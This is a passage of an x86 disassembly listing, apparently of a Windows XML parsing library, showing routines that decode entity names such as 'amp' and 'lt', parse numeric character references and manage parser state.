mov ebx, [ebp+arg_4]
cmp ebx, 2
push esi
push edi
mov [ebp+var_1], 0
jb loc_69B31B1E
mov esi, [ebp+arg_0]
xor edi, edi
mov di, [esi]
push edi
call sub_69B31914
test eax, eax
jz short loc_69B31B1E
inc esi
xor eax, eax
inc esi
mov ax, [esi]
push eax
call sub_69B31914
test eax, eax
jz short loc_69B31AC6
cmp ebx, 2
jz short loc_69B31B1A
dec ebx
inc esi
inc esi
jmp short loc_69B31ADE
; ---------------------------------------------------------------------------
loc_69B31AC6: ; CODE XREF: sub_69B31A82+38j
cmp di, 49h
jz short loc_69B31ADE
cmp di, 69h
jz short loc_69B31ADE
cmp di, 58h
jz short loc_69B31ADE
cmp di, 78h
jnz short loc_69B31B1E
loc_69B31ADE: ; CODE XREF: sub_69B31A82+42j
; sub_69B31A82+48j ...
cmp word ptr [esi], 2Dh
jnz short loc_69B31B1E
dec ebx
dec ebx
jz short loc_69B31B1E
loc_69B31AE8: ; CODE XREF: sub_69B31A82+90j
dec ebx
inc esi
inc esi
xor edi, edi
mov di, [esi]
push edi
call sub_69B31914
test eax, eax
jz short loc_69B31B00
mov [ebp+var_1], 1
jmp short loc_69B31B10
; ---------------------------------------------------------------------------
loc_69B31B00: ; CODE XREF: sub_69B31A82+76j
cmp di, 2Dh
jnz short loc_69B31B1E
cmp [ebp+var_1], 0
jz short loc_69B31B1E
mov [ebp+var_1], 0
loc_69B31B10: ; CODE XREF: sub_69B31A82+7Cj
test ebx, ebx
ja short loc_69B31AE8
cmp [ebp+var_1], 0
jz short loc_69B31B1E
loc_69B31B1A: ; CODE XREF: sub_69B31A82+3Dj
mov al, 1
jmp short loc_69B31B20
; ---------------------------------------------------------------------------
loc_69B31B1E: ; CODE XREF: sub_69B31A82+11j
; sub_69B31A82+27j ...
xor al, al
loc_69B31B20: ; CODE XREF: sub_69B31A82+9Aj
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B31A82 endp
; =============== S U B R O U T I N E =======================================
sub_69B31B27 proc near ; CODE XREF: sub_69B8E714+1C5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_4], 0
push esi
jbe short loc_69B31B4F
mov esi, [esp+4+arg_0]
loc_69B31B33: ; CODE XREF: sub_69B31B27+26j
dec [esp+4+arg_4]
xor eax, eax
mov ax, [esi]
push eax
call sub_69B319C7
inc esi
inc esi
test al, al
jz short loc_69B31B55
cmp [esp+4+arg_4], 0
ja short loc_69B31B33
loc_69B31B4F: ; CODE XREF: sub_69B31B27+6j
mov al, 1
loc_69B31B51: ; CODE XREF: sub_69B31B27+30j
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_69B31B55: ; CODE XREF: sub_69B31B27+1Fj
xor al, al
jmp short loc_69B31B51
sub_69B31B27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B31B59 proc near ; CODE XREF: sub_69B32EF6+15Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
lea eax, [ecx+ecx]
dec ecx
dec ecx
push esi
push edi
jz short loc_69B31BB0
dec ecx
jz short loc_69B31B9A
dec ecx
jnz short loc_69B31BDC
mov edi, [ebp+arg_0]
mov ecx, eax
mov esi, offset aQuot ; "quot"
xor edx, edx
repe cmpsb
jnz short loc_69B31B84
mov ax, 22h
jmp short loc_69B31BDF
; ---------------------------------------------------------------------------
loc_69B31B84: ; CODE XREF: sub_69B31B59+23j
mov edi, [ebp+arg_0]
mov ecx, eax
mov esi, offset aApos ; "apos"
xor eax, eax
repe cmpsb
jnz short loc_69B31BDC
mov ax, 27h
jmp short loc_69B31BDF
; ---------------------------------------------------------------------------
loc_69B31B9A: ; CODE XREF: sub_69B31B59+10j
mov edi, [ebp+arg_0]
mov ecx, eax
mov esi, offset aAmp ; "amp"
xor eax, eax
repe cmpsb
jnz short loc_69B31BDC
mov ax, 26h
jmp short loc_69B31BDF
; ---------------------------------------------------------------------------
loc_69B31BB0: ; CODE XREF: sub_69B31B59+Dj
mov edi, [ebp+arg_0]
mov ecx, eax
mov esi, offset aLt ; "lt"
xor edx, edx
repe cmpsb
jnz short loc_69B31BC6
mov ax, 3Ch
jmp short loc_69B31BDF
; ---------------------------------------------------------------------------
loc_69B31BC6: ; CODE XREF: sub_69B31B59+65j
mov edi, [ebp+arg_0]
mov ecx, eax
mov esi, offset aGt ; "gt"
xor eax, eax
repe cmpsb
jnz short loc_69B31BDC
mov ax, 3Eh
jmp short loc_69B31BDF
; ---------------------------------------------------------------------------
loc_69B31BDC: ; CODE XREF: sub_69B31B59+13j
; sub_69B31B59+39j ...
xor ax, ax
loc_69B31BDF: ; CODE XREF: sub_69B31B59+29j
; sub_69B31B59+3Fj ...
pop edi
pop esi
pop ebp
retn 8
sub_69B31B59 endp
; =============== S U B R O U T I N E =======================================
sub_69B31BE5 proc near ; CODE XREF: sub_69B32BA0+2BDp
; sub_69B32EF6+E2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
xor ecx, ecx
xor edx, edx
cmp [esp+arg_4], ecx
push esi
jbe short loc_69B31C50
loc_69B31BF0: ; CODE XREF: sub_69B31BE5+65j
mov eax, [esp+4+arg_0]
mov ax, [eax+ecx*2]
cmp ax, 61h
jb short loc_69B31C0C
cmp ax, 66h
ja short loc_69B31C0C
movzx eax, ax
sub eax, 57h
jmp short loc_69B31C32
; ---------------------------------------------------------------------------
loc_69B31C0C: ; CODE XREF: sub_69B31BE5+17j
; sub_69B31BE5+1Dj
cmp ax, 41h
jb short loc_69B31C20
cmp ax, 46h
ja short loc_69B31C20
movzx eax, ax
sub eax, 37h
jmp short loc_69B31C32
; ---------------------------------------------------------------------------
loc_69B31C20: ; CODE XREF: sub_69B31BE5+2Bj
; sub_69B31BE5+31j
cmp ax, 30h
jb short loc_69B31C57
cmp ax, 39h
ja short loc_69B31C57
movzx eax, ax
sub eax, 30h
loc_69B31C32: ; CODE XREF: sub_69B31BE5+25j
; sub_69B31BE5+39j
mov esi, 0FFFFh
sub esi, eax
shr esi, 4
cmp edx, esi
ja short loc_69B31C50
shl edx, 4
add edx, eax
inc ecx
cmp ecx, [esp+4+arg_4]
jb short loc_69B31BF0
test edx, edx
jnz short loc_69B31C5E
loc_69B31C50: ; CODE XREF: sub_69B31BE5+9j
; sub_69B31BE5+59j
mov eax, 0C00CE51Fh
jmp short loc_69B31C67
; ---------------------------------------------------------------------------
loc_69B31C57: ; CODE XREF: sub_69B31BE5+3Fj
; sub_69B31BE5+45j
mov eax, 0C00CE51Eh
jmp short loc_69B31C67
; ---------------------------------------------------------------------------
loc_69B31C5E: ; CODE XREF: sub_69B31BE5+69j
mov eax, [esp+4+arg_8]
mov [eax], dx
xor eax, eax
loc_69B31C67: ; CODE XREF: sub_69B31BE5+70j
; sub_69B31BE5+77j
pop esi
retn 0Ch
sub_69B31BE5 endp
; =============== S U B R O U T I N E =======================================
sub_69B31C6B proc near ; CODE XREF: sub_69B32BA0+254p
; sub_69B32EF6+80p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
cmp [esp+0Ch+arg_4], edi
jbe short loc_69B31CB5
loc_69B31C78: ; CODE XREF: sub_69B31C6B+44j
mov eax, [esp+0Ch+arg_0]
mov ax, [eax+edi*2]
cmp ax, 30h
jb short loc_69B31CBC
cmp ax, 39h
ja short loc_69B31CBC
movzx ecx, ax
sub ecx, 30h
mov eax, 0FFFFh
push 0Ah
sub eax, ecx
xor edx, edx
pop ebx
div ebx
cmp esi, eax
ja short loc_69B31CB5
inc edi
cmp edi, [esp+0Ch+arg_4]
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2]
jb short loc_69B31C78
test esi, esi
jnz short loc_69B31CC3
loc_69B31CB5: ; CODE XREF: sub_69B31C6B+Bj
; sub_69B31C6B+37j
mov eax, 0C00CE51Fh
jmp short loc_69B31CCC
; ---------------------------------------------------------------------------
loc_69B31CBC: ; CODE XREF: sub_69B31C6B+19j
; sub_69B31C6B+1Fj
mov eax, 0C00CE51Dh
jmp short loc_69B31CCC
; ---------------------------------------------------------------------------
loc_69B31CC3: ; CODE XREF: sub_69B31C6B+48j
mov eax, [esp+0Ch+arg_8]
mov [eax], si
xor eax, eax
loc_69B31CCC: ; CODE XREF: sub_69B31C6B+4Fj
; sub_69B31C6B+56j
pop edi
pop esi
pop ebx
retn 0Ch
sub_69B31C6B endp
; =============== S U B R O U T I N E =======================================
sub_69B31CD2 proc near ; CODE XREF: sub_69B35A98+50p
; sub_69B373CD+2Cp ...
arg_0 = word ptr 4
mov ax, [esp+arg_0]
push ebx
mov dl, 1
mov bl, al
and bl, dl
mov [ecx+86h], bl
mov bl, al
shr bl, 1
and bl, dl
mov [ecx+87h], bl
mov bl, al
shr bl, 2
and bl, dl
mov [ecx+88h], bl
mov bl, al
shr bl, 3
and bl, dl
mov [ecx+89h], bl
mov bl, al
mov [ecx+84h], ax
shr bl, 5
and bl, dl
shr al, 6
and al, dl
mov [ecx+8Bh], bl
mov byte ptr [ecx+8Ah], 0
mov [ecx+8Ch], al
pop ebx
retn 4
sub_69B31CD2 endp
; =============== S U B R O U T I N E =======================================
sub_69B31D34 proc near ; CODE XREF: sub_69B32BA0+283p
; sub_69B32EF6+9Ap
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi+5Ch]
cmp byte ptr [edi], 0
jnz short loc_69B31D7D
lea ebx, [esi+52h]
loc_69B31D44: ; CODE XREF: sub_69B31D34+47j
xor eax, eax
mov ax, [ebx]
cmp ax, 3Bh
jz short loc_69B31D7D
push eax
call sub_69B31934
test eax, eax
jz short loc_69B31D8C
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B31D6E
mov ecx, [esi+34h]
push edi
push ebx
call sub_69B35FE4
jmp short loc_69B31D75
; ---------------------------------------------------------------------------
loc_69B31D6E: ; CODE XREF: sub_69B31D34+2Cj
mov ecx, esi
call sub_69B34A8C
loc_69B31D75: ; CODE XREF: sub_69B31D34+38j
test eax, eax
jnz short loc_69B31D88
cmp [edi], al
jz short loc_69B31D44
loc_69B31D7D: ; CODE XREF: sub_69B31D34+Bj
; sub_69B31D34+19j
mov al, [edi]
neg al
sbb eax, eax
and eax, 0C00CE559h
loc_69B31D88: ; CODE XREF: sub_69B31D34+43j
; sub_69B31D34+6Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_69B31D8C: ; CODE XREF: sub_69B31D34+23j
mov esi, [esi+34h]
mov eax, [esi+48h]
sub eax, [esi+8]
neg eax
sbb eax, eax
and eax, 0FFFFFFFBh
add eax, 0C00CE513h
jmp short loc_69B31D88
sub_69B31D34 endp
; =============== S U B R O U T I N E =======================================
sub_69B31DA3 proc near ; CODE XREF: sub_69B32BA0+226p
; sub_69B32EF6+38p
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi+5Ch]
cmp byte ptr [edi], 0
jnz short loc_69B31DEC
lea ebx, [esi+52h]
loc_69B31DB3: ; CODE XREF: sub_69B31DA3+47j
xor eax, eax
mov ax, [ebx]
cmp ax, 3Bh
jz short loc_69B31DEC
push eax
call sub_69B2FB32
test eax, eax
jz short loc_69B31DFB
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B31DDD
mov ecx, [esi+34h]
push edi
push ebx
call sub_69B35FE4
jmp short loc_69B31DE4
; ---------------------------------------------------------------------------
loc_69B31DDD: ; CODE XREF: sub_69B31DA3+2Cj
mov ecx, esi
call sub_69B34A8C
loc_69B31DE4: ; CODE XREF: sub_69B31DA3+38j
test eax, eax
jnz short loc_69B31DF7
cmp [edi], al
jz short loc_69B31DB3
loc_69B31DEC: ; CODE XREF: sub_69B31DA3+Bj
; sub_69B31DA3+19j
mov al, [edi]
neg al
sbb eax, eax
and eax, 0C00CE559h
loc_69B31DF7: ; CODE XREF: sub_69B31DA3+43j
; sub_69B31DA3+6Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_69B31DFB: ; CODE XREF: sub_69B31DA3+23j
mov esi, [esi+34h]
mov eax, [esi+48h]
sub eax, [esi+8]
neg eax
sbb eax, eax
and eax, 0FFFFFFFBh
add eax, 0C00CE513h
jmp short loc_69B31DF7
sub_69B31DA3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B31F28
loc_69B31E12: ; CODE XREF: sub_69B31F28+Ej
push ecx
push ebx
push ebp
push edi
mov ebx, ecx
mov edi, [ebx+0A0h]
lea edi, [edi+edi+400h]
lea eax, [edi+edi]
push eax
mov [esp+14h+var_4], edi
call sub_69B11E44
mov ebp, eax
test ebp, ebp
jnz short loc_69B31E3F
mov eax, 8007000Eh
jmp short loc_69B31E94
; ---------------------------------------------------------------------------
loc_69B31E3F: ; CODE XREF: sub_69B31F28-F2j
push esi
mov esi, [ebx+98h]
test esi, esi
jz short loc_69B31E71
mov ecx, [ebx+9Ch]
shl ecx, 1
mov eax, ecx
shr ecx, 2
mov edi, ebp
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push dword ptr [ebx+98h]
call sub_69B1B2B7
mov edi, [esp+14h+var_4]
loc_69B31E71: ; CODE XREF: sub_69B31F28-E0j
mov dx, [esp+14h+arg_0]
lea eax, [ebx+9Ch]
mov ecx, [eax]
mov [ebx+0A0h], edi
mov [ebx+98h], ebp
mov [ebp+ecx*2+0], dx
inc dword ptr [eax]
xor eax, eax
pop esi
loc_69B31E94: ; CODE XREF: sub_69B31F28-EBj
pop edi
pop ebp
pop ebx
pop ecx
retn 4
; END OF FUNCTION CHUNK FOR sub_69B31F28
; =============== S U B R O U T I N E =======================================
sub_69B31E9B proc near ; CODE XREF: sub_69B32EF6+203p
cmp byte ptr [ecx+70h], 0
jz short loc_69B31EE2
cmp byte ptr [ecx+54h], 0
jz short loc_69B31EB9
cmp byte ptr [ecx+8Bh], 0
jnz short loc_69B31EB9
mov dword ptr [ecx+44h], 12h
jmp short loc_69B31EC0
; ---------------------------------------------------------------------------
loc_69B31EB9: ; CODE XREF: sub_69B31E9B+Aj
; sub_69B31E9B+13j
mov dword ptr [ecx+44h], 0Dh
loc_69B31EC0: ; CODE XREF: sub_69B31E9B+1Cj
mov edx, [ecx+34h]
mov eax, [edx+8]
sub eax, [ecx+6Ch]
sub eax, [edx+14h]
mov byte ptr [ecx+70h], 0
dec eax
mov edx, eax
neg edx
mov [ecx+4Ch], eax
mov [ecx+48h], edx
mov byte ptr [ecx+54h], 1
mov al, 1
retn
; ---------------------------------------------------------------------------
loc_69B31EE2: ; CODE XREF: sub_69B31E9B+4j
xor al, al
retn
sub_69B31E9B endp
; =============== S U B R O U T I N E =======================================
sub_69B31EE5 proc near ; CODE XREF: sub_69B35FE4+4Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 0C00CE600h
jnz short loc_69B31EF4
push 47h
jmp short loc_69B31EFD
; ---------------------------------------------------------------------------
loc_69B31EF4: ; CODE XREF: sub_69B31EE5+9j
cmp eax, 0C00CE601h
jnz short loc_69B31EFE
push 48h
loc_69B31EFD: ; CODE XREF: sub_69B31EE5+Dj
pop eax
loc_69B31EFE: ; CODE XREF: sub_69B31EE5+14j
mov ecx, [ecx+0C4h]
push eax
call sub_69B38114
retn 4
sub_69B31EE5 endp
; =============== S U B R O U T I N E =======================================
sub_69B31F0D proc near ; CODE XREF: sub_69B32133+4Ep
; sub_69B3220F+5Ap ...
mov eax, [ecx+8]
test eax, eax
jle short loc_69B31F18
dec eax
mov [ecx+8], eax
loc_69B31F18: ; CODE XREF: sub_69B31F0D+5j
mov eax, [ecx+8]
test eax, eax
jnz short loc_69B31F20
retn
; ---------------------------------------------------------------------------
loc_69B31F20: ; CODE XREF: sub_69B31F0D+10j
dec eax
imul eax, [ecx]
add eax, [ecx+4]
retn
sub_69B31F0D endp
; =============== S U B R O U T I N E =======================================
sub_69B31F28 proc near ; CODE XREF: sub_69B32BA0+BBp
; sub_69B32BA0+1E2p ...
var_4 = dword ptr -4
arg_0 = word ptr 4
; FUNCTION CHUNK AT 69B31E12 SIZE 00000089 BYTES
lea eax, [ecx+9Ch]
mov edx, [eax]
cmp edx, [ecx+0A0h]
jge loc_69B31E12
mov ecx, [ecx+98h]
push esi
mov si, [esp+4+arg_0]
mov [ecx+edx*2], si
inc dword ptr [eax]
xor eax, eax
pop esi
retn 4
sub_69B31F28 endp
; =============== S U B R O U T I N E =======================================
sub_69B31F54 proc near ; CODE XREF: sub_69B31F88+8p
; sub_69B5EEC0+4Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
xor eax, eax
mov ax, [esi]
test ax, ax
jz short loc_69B31F7B
push eax
call sub_69B31987
test eax, eax
jz short loc_69B31F7B
push [esp+4+arg_4]
push esi
call sub_69B31A18
mov esi, eax
jmp short loc_69B31F82
; ---------------------------------------------------------------------------
loc_69B31F7B: ; CODE XREF: sub_69B31F54+Dj
; sub_69B31F54+17j
mov eax, [esp+4+arg_4]
and dword ptr [eax], 0
loc_69B31F82: ; CODE XREF: sub_69B31F54+25j
mov eax, esi
pop esi
retn 8
sub_69B31F54 endp
; =============== S U B R O U T I N E =======================================
sub_69B31F88 proc near ; CODE XREF: sub_69B4778C+65p
; sub_69B47A04+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_69B31F54
cmp word ptr [eax], 0
jnz short loc_69B31FA5
cmp eax, [esp+arg_0]
jz short loc_69B31FA5
mov al, 1
jmp short locret_69B31FA7
; ---------------------------------------------------------------------------
loc_69B31FA5: ; CODE XREF: sub_69B31F88+11j
; sub_69B31F88+17j
xor al, al
locret_69B31FA7: ; CODE XREF: sub_69B31F88+1Bj
retn 8
sub_69B31F88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B31FAA(LPCWSTR lpString, LPCWSTR lpStr2, int nChar, char)
sub_69B31FAA proc near ; CODE XREF: sub_69B2132A+353p
; sub_69B33C72+F5p ...
lpString = dword ptr 8
lpStr2 = dword ptr 0Ch
nChar = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_C], 0
push [ebp+nChar] ; nChar
push [ebp+lpStr2] ; lpStr2
push [ebp+lpString] ; lpStr1
jnz short loc_69B31FC4
call ds:StrCmpNW ; StrCmpNW
jmp short loc_69B31FCA
; ---------------------------------------------------------------------------
loc_69B31FC4: ; CODE XREF: sub_69B31FAA+10j
call ds:StrCmpNIW ; StrCmpNIW
loc_69B31FCA: ; CODE XREF: sub_69B31FAA+18j
test eax, eax
jnz short loc_69B31FE1
push [ebp+lpString] ; lpString
call ds:lstrlenW ; lstrlenW
cmp [ebp+nChar], eax
jnz short loc_69B31FE1
xor eax, eax
inc eax
jmp short loc_69B31FE3
; ---------------------------------------------------------------------------
loc_69B31FE1: ; CODE XREF: sub_69B31FAA+22j
; sub_69B31FAA+30j
xor eax, eax
loc_69B31FE3: ; CODE XREF: sub_69B31FAA+35j
pop ebp
retn 10h
sub_69B31FAA endp
; =============== S U B R O U T I N E =======================================
sub_69B31FE7 proc near ; CODE XREF: sub_69B3587A+12p
; sub_69B35A98+48p
push ebx
xor ebx, ebx
push esi
mov esi, ecx
push edi
lea edi, [esi+98h]
push dword ptr [edi]
mov [esi+5Ch], bl
mov [esi+5Dh], bl
mov [esi+52h], bx
mov [esi+44h], ebx
mov [esi+56h], bx
mov [esi+48h], ebx
mov [esi+64h], ebx
mov [esi+60h], ebx
mov [esi+4], bx
mov [esi+4Ch], ebx
mov [esi+78h], ebx
mov [esi+0A5h], bl
mov [esi+9Ch], ebx
call sub_69B1B2B7
mov [edi], ebx
pop edi
mov [esi+0A0h], ebx
mov [esi+50h], bl
mov [esi+0A4h], bl
mov [esi+0A6h], bl
mov [esi+0B0h], bl
mov [esi+3Ah], bl
mov [esi+38h], bx
mov [esi+3Ch], ebx
mov [esi+0ACh], ebx
mov [esi+0B4h], ebx
mov [esi+0B1h], bl
mov [esi+0B2h], bl
mov [esi+51h], bl
mov [esi+8Eh], bl
mov [esi+90h], ebx
mov [esi+94h], ebx
mov byte ptr [esi+0B9h], 1
mov byte ptr [esi+8Dh], 1
pop esi
pop ebx
retn
sub_69B31FE7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B32091 proc near ; CODE XREF: sub_69B3219Cp
; sub_69B321AFp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
mov edi, [esi+34h]
test edi, edi
jnz short loc_69B320A5
xor eax, eax
jmp short loc_69B320DF
; ---------------------------------------------------------------------------
loc_69B320A5: ; CODE XREF: sub_69B32091+Ej
push ebx
mov ebx, [esi+24h]
dec ebx
loc_69B320AA: ; CODE XREF: sub_69B32091+49j
and [ebp+var_4], 0
and [ebp+var_8], 0
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov ecx, edi
call sub_69B35C11
cmp [ebp+var_4], 0
ja short loc_69B320E3
test ebx, ebx
jl short loc_69B320DC
mov eax, [esi+1Ch]
mov ecx, [esi+20h]
imul eax, ebx
mov edi, [eax+ecx]
dec ebx
test edi, edi
jnz short loc_69B320AA
loc_69B320DC: ; CODE XREF: sub_69B32091+38j
xor eax, eax
loc_69B320DE: ; CODE XREF: sub_69B32091+54j
pop ebx
loc_69B320DF: ; CODE XREF: sub_69B32091+12j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_69B320E3: ; CODE XREF: sub_69B32091+34j
mov eax, edi
jmp short loc_69B320DE
sub_69B32091 endp
; =============== S U B R O U T I N E =======================================
sub_69B320E7 proc near ; CODE XREF: sub_69B2132A+8Fp
; sub_69B2132A+145p ...
arg_0 = dword ptr 4
arg_4 = word ptr 8
push esi
mov esi, ecx
lea ecx, [esi+8]
call sub_69B318FB
test eax, eax
jnz short loc_69B320FD
mov eax, 8007000Eh
jmp short loc_69B3212F
; ---------------------------------------------------------------------------
loc_69B320FD: ; CODE XREF: sub_69B320E7+Dj
mov cx, [esp+4+arg_4]
mov [eax+4], cx
mov ecx, [esi]
mov [eax], ecx
mov ecx, [esi+90h]
mov [eax+8], ecx
mov ecx, [esi+94h]
mov [eax+0Ch], ecx
mov ecx, [esi+30h]
mov [eax+10h], ecx
mov eax, [esp+4+arg_0]
and word ptr [esi+4], 0
mov [esi], eax
xor eax, eax
loc_69B3212F: ; CODE XREF: sub_69B320E7+14j
pop esi
retn 8
sub_69B320E7 endp
; =============== S U B R O U T I N E =======================================
sub_69B32133 proc near ; CODE XREF: sub_69B384B3+27p
; sub_69B39299+58p
push esi
push edi
mov edi, ecx
mov esi, [edi+34h]
test esi, esi
jz short loc_69B3214B
mov ecx, esi
call sub_69B35E77
push esi
call sub_69B1B2B7
loc_69B3214B: ; CODE XREF: sub_69B32133+9j
push dword ptr [edi+98h]
call sub_69B1B2B7
lea esi, [edi+1Ch]
mov eax, [esi+8]
test eax, eax
jz short loc_69B32167
dec eax
imul eax, [esi]
add eax, [esi+4]
loc_69B32167: ; CODE XREF: sub_69B32133+2Bj
test eax, eax
jz short loc_69B3218B
push ebx
loc_69B3216C: ; CODE XREF: sub_69B32133+55j
mov ebx, [eax]
test ebx, ebx
jz short loc_69B3217F
mov ecx, ebx
call sub_69B35E77
push ebx
call sub_69B1B2B7
loc_69B3217F: ; CODE XREF: sub_69B32133+3Dj
mov ecx, esi
call sub_69B31F0D
test eax, eax
jnz short loc_69B3216C
pop ebx
loc_69B3218B: ; CODE XREF: sub_69B32133+36j
mov ecx, esi
call sub_69B88EF5
lea ecx, [edi+8]
pop edi
pop esi
jmp sub_69B88EF5
sub_69B32133 endp
; =============== S U B R O U T I N E =======================================
sub_69B3219C proc near ; CODE XREF: sub_69B37967+1Ap
call sub_69B32091
test eax, eax
jz short loc_69B321AC
mov ecx, eax
jmp sub_69B35BF2
; ---------------------------------------------------------------------------
loc_69B321AC: ; CODE XREF: sub_69B3219C+7j
xor eax, eax
retn
sub_69B3219C endp
; =============== S U B R O U T I N E =======================================
sub_69B321AF proc near ; CODE XREF: sub_69B3799A+1Ap
; FUNCTION CHUNK AT 69B35BF6 SIZE 00000014 BYTES
call sub_69B32091
test eax, eax
jz short loc_69B321BF
mov ecx, eax
jmp loc_69B35BF6
; ---------------------------------------------------------------------------
loc_69B321BF: ; CODE XREF: sub_69B321AF+7j
xor eax, eax
retn
sub_69B321AF endp
; =============== S U B R O U T I N E =======================================
sub_69B321C2 proc near ; CODE XREF: sub_69B379CD+1Ap
; FUNCTION CHUNK AT 69B35C0A SIZE 00000007 BYTES
call sub_69B32091
test eax, eax
jz short loc_69B321D2
mov ecx, eax
jmp loc_69B35C0A
; ---------------------------------------------------------------------------
loc_69B321D2: ; CODE XREF: sub_69B321C2+7j
xor eax, eax
retn
sub_69B321C2 endp
; =============== S U B R O U T I N E =======================================
sub_69B321D5 proc near ; CODE XREF: sub_69B37A00+47p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_69B32206
cmp [esp+4+arg_4], 0
jz short loc_69B32206
and dword ptr [esi], 0
call sub_69B32091
test eax, eax
jz short loc_69B32202
push [esp+4+arg_8]
mov ecx, eax
push [esp+8+arg_4]
call sub_69B35C11
mov [esi], eax
loc_69B32202: ; CODE XREF: sub_69B321D5+1Aj
xor eax, eax
jmp short loc_69B3220B
; ---------------------------------------------------------------------------
loc_69B32206: ; CODE XREF: sub_69B321D5+7j
; sub_69B321D5+Ej
mov eax, 80070057h
loc_69B3220B: ; CODE XREF: sub_69B321D5+2Fj
pop esi
retn 0Ch
sub_69B321D5 endp
; =============== S U B R O U T I N E =======================================
sub_69B3220F proc near ; CODE XREF: sub_69B2132A+24Cp
; sub_69B32274+20p ...
arg_0 = byte ptr 4
lea edx, [ecx+8]
mov eax, [edx+8]
test eax, eax
jz short loc_69B32220
dec eax
imul eax, [edx]
add eax, [edx+4]
loc_69B32220: ; CODE XREF: sub_69B3220F+8j
cmp byte ptr [ecx+0A8h], 0
push esi
jz short loc_69B32249
cmp byte ptr [ecx+0B2h], 0
jnz short loc_69B32249
cmp [esp+4+arg_0], 0
jz short loc_69B32249
mov esi, [ecx+30h]
cmp esi, [eax+10h]
jz short loc_69B32249
mov eax, 0C00CE55Bh
jmp short loc_69B32270
; ---------------------------------------------------------------------------
loc_69B32249: ; CODE XREF: sub_69B3220F+19j
; sub_69B3220F+22j ...
mov esi, [eax]
mov [ecx], esi
mov si, [eax+4]
mov [ecx+4], si
mov esi, [eax+8]
mov [ecx+90h], esi
mov eax, [eax+0Ch]
mov [ecx+94h], eax
mov ecx, edx
call sub_69B31F0D
xor eax, eax
loc_69B32270: ; CODE XREF: sub_69B3220F+38j
pop esi
retn 4
sub_69B3220F endp
; =============== S U B R O U T I N E =======================================
sub_69B32274 proc near ; CODE XREF: sub_69B33C72+CFp
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov eax, [esi+10h]
test eax, eax
push edi
jz short loc_69B32287
dec eax
imul eax, [esi+8]
add eax, [esi+0Ch]
loc_69B32287: ; CODE XREF: sub_69B32274+9j
mov eax, [eax+10h]
mov edi, [esi+30h]
push 0
mov ecx, esi
mov [esi+30h], eax
call sub_69B3220F
test eax, eax
jl short loc_69B322BC
xor eax, eax
mov ax, [esi+4]
mov ecx, esi
push eax
push [esp+0Ch+arg_0]
call sub_69B320E7
test eax, eax
jl short loc_69B322BC
mov ecx, esi
mov [esi+30h], edi
call [esp+8+arg_0]
loc_69B322BC: ; CODE XREF: sub_69B32274+27j
; sub_69B32274+3Dj
pop edi
pop esi
retn 4
sub_69B32274 endp
; =============== S U B R O U T I N E =======================================
sub_69B322C1 proc near ; CODE XREF: sub_69B33E72+5C2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
mov eax, [esi+10h]
test eax, eax
push edi
jz short loc_69B322D4
dec eax
imul eax, [esi+8]
add eax, [esi+0Ch]
loc_69B322D4: ; CODE XREF: sub_69B322C1+9j
mov eax, [eax+10h]
mov edi, [esi+30h]
push 0
mov ecx, esi
mov [esi+30h], eax
call sub_69B3220F
test eax, eax
jl short loc_69B3231F
xor eax, eax
mov ax, [esi+4]
mov ecx, esi
push eax
push offset sub_69B33E72
call sub_69B320E7
test eax, eax
jl short loc_69B3231F
mov ecx, [esp+8+arg_0]
mov [esi+90h], ecx
mov ecx, [esp+8+arg_4]
mov [esi+94h], ecx
mov ecx, esi
mov [esi+30h], edi
call sub_69B33E72
loc_69B3231F: ; CODE XREF: sub_69B322C1+27j
; sub_69B322C1+3Ej
pop edi
pop esi
retn 8
sub_69B322C1 endp
; =============== S U B R O U T I N E =======================================
sub_69B32324 proc near ; DATA XREF: sub_69B33C72:loc_69B33D3Ao
push ebx
push ebp
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
xor ebx, ebx
sub eax, ebx
push edi
jz short loc_69B32356
dec eax
jz short loc_69B3238E
dec eax
jz loc_69B323C5
dec eax
jz loc_69B3242E
dec eax
jz loc_69B32485
mov eax, 0C00CE512h
jmp loc_69B324C7
; ---------------------------------------------------------------------------
loc_69B32356: ; CODE XREF: sub_69B32324+Ej
cmp [esi+0A8h], bl
jnz short loc_69B32370
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B32377
; ---------------------------------------------------------------------------
